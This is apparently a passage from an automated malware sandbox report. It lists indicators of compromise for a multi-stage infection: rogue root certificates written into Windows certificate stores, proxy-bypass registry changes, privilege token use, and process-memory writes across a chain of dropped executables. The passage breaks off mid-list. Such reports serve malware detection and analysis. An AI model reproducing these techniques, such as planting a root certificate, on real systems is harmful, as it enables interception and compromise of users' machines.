Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" v2Vjv43t4tHT9bkOMLnMdAtW.exe -
Modifies registry class 1 IoCs
Processes:
chrome.exedescription ioc process Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-801878912-692986033-442676226-1000\{74D2DA2C-2C4C-4DE5-BDE1-9C6329FD455E} chrome.exe -
Processes:
keks.exeFY89lV0dsIhtziZ3BhtAZzWQ.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 keks.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 FY89lV0dsIhtziZ3BhtAZzWQ.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e FY89lV0dsIhtziZ3BhtAZzWQ.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e FY89lV0dsIhtziZ3BhtAZzWQ.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 keks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exeexplorta.exeamert.exechrome.exe7d41195f4d.exechrosha.exeexplorta.exeRegAsm.exerundll32.exetrf.exepowershell.exepowershell.exerun.exekeks.exejok.exepowershell.exepid process 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe 2224 explorta.exe 2224 explorta.exe 4912 explorta.exe 4912 explorta.exe 1740 amert.exe 1740 amert.exe 2692 chrome.exe 2692 chrome.exe 1444 7d41195f4d.exe 1444 7d41195f4d.exe 3188 chrosha.exe 3188 chrosha.exe 1308 explorta.exe 1308 explorta.exe 5164 RegAsm.exe 5164 RegAsm.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 3000 trf.exe 5780 powershell.exe 5780 powershell.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 5492 rundll32.exe 5780 powershell.exe 5144 powershell.exe 5144 powershell.exe 5144 powershell.exe 5164 RegAsm.exe 5164 RegAsm.exe 5360 run.exe 5360 run.exe 5360 run.exe 3116 keks.exe 3116 keks.exe 4460 jok.exe 4460 jok.exe 2664 powershell.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
run.execmd.exepid process 5360 run.exe 4864 cmd.exe 4864 cmd.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
Processes:
chrome.exepid process 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
chrome.exetrf.exedescription pid process Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeDebugPrivilege 3000 trf.exe Token: SeShutdownPrivilege 2692 chrome.exe Token: SeCreatePagefilePrivilege 2692 chrome.exe Token: SeShutdownPrivilege 2692 chrome.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
7617c78a76.exechrome.exeu4q0.3.exepid process 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 2692 chrome.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4860 u4q0.3.exe -
Suspicious use of SendNotifyMessage 55 IoCs
Processes:
7617c78a76.exechrome.exeu4q0.3.exepid process 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 2692 chrome.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4640 7617c78a76.exe 4860 u4q0.3.exe 4860 u4q0.3.exe 4860 u4q0.3.exe 4860 u4q0.3.exe 4860 u4q0.3.exe 4860 u4q0.3.exe 4860 u4q0.3.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
run.exeMSBuild.exepid process 5360 run.exe 5360 run.exe 2352 MSBuild.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exeexplorta.exe7617c78a76.exechrome.exedescription pid process target process PID 3532 wrote to memory of 2224 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe explorta.exe PID 3532 wrote to memory of 2224 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe explorta.exe PID 3532 wrote to memory of 2224 3532 77cabe45b3738612da31d94986c46fd3a4abfeef80d3c325870b7d0a86fa4be1.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 4912 2224 explorta.exe explorta.exe PID 2224 wrote to memory of 1740 2224 explorta.exe amert.exe PID 2224 wrote to memory of 1740 2224 explorta.exe amert.exe PID 2224 wrote to memory of 1740 2224 explorta.exe amert.exe PID 2224 wrote to memory of 4640 2224 explorta.exe 7617c78a76.exe PID 2224 wrote to memory of 4640 2224 explorta.exe 7617c78a76.exe PID 2224 wrote to memory of 4640 2224 explorta.exe 7617c78a76.exe PID 4640 wrote to memory of 2692 4640 7617c78a76.exe chrome.exe PID 4640 wrote to memory of 2692 4640 7617c78a76.exe chrome.exe PID 2692 wrote to memory of 3276 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 3276 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to memory of 2096 2692 chrome.exe chrome.exe PID 2692 wrote to 